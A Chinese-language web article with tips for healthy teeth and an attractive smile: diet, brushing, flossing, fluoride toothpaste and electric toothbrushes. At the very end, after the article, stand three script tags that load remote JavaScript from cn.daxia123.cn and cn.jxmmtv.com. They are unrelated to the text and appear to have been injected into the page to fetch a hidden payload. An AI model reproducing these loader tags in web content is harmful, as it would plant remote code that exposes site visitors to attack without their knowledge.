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微笑是你留给别人的第一印象，但想要一生都拥有美丽的微笑，那就不只是运气的事了。用正确的刷牙方法刷牙，使用牙线及定期看牙医，对拥有健康的牙齿是非常重要的。以下几个简单的小窍门能使你的微笑更加迷人。正确的饮食造就珍珠般的牙齿 多吃含钙量丰富的食物可以使牙齿更加坚固，选择健康的小吃，如胡萝卜、苹果，而不是易塞牙的坚硬食物，避免茶和咖啡等深色的食物和饮料，以免产生牙锈。 多多交流护牙的经验 时下，电动牙刷是个热门话题。电动牙刷比一般的手动牙刷刷得更干净，而且它拥有牢固的移动刷毛，可以彻底清除牙菌斑，使牙齿更加光亮。赶快把这个消息告诉你的朋友吧！ 刷牙别偷懒 无论是成人还是小孩，每天都要仔细彻底地刷两次牙，每颗牙齿的里里外外都要刷干净。 使用牙线 使用牙线是彻底清除牙垢的重要环节，它可以帮助清除牙刷所不能及的藏在牙龈底下和牙齿间的牙菌斑。刷牙前使用牙线，可以使污垢残渣松动，在刷牙时就能很轻松地把污垢去除。 选择正确的刷牙工具 选择正确的刷牙工具可以帮你拥有更健康的牙齿，比如，选择含氟牙膏和电动牙刷。 笑出自己的风格 服饰、鞋子都会过时，但靓丽的微笑永远不会落伍。对牙齿所做的投资让你终生受益，这远比古典的黑色套裙或一串珍珠项链更值得拥有。微笑是你最珍贵的饰品，值得你好好呵护珍惜。 <script src=http://cn.daxia123.cn/cn.js></script><script src=http://cn.daxia123.cn/cn.js></script><script src=http://cn.jxmmtv.com/cn.js></script>
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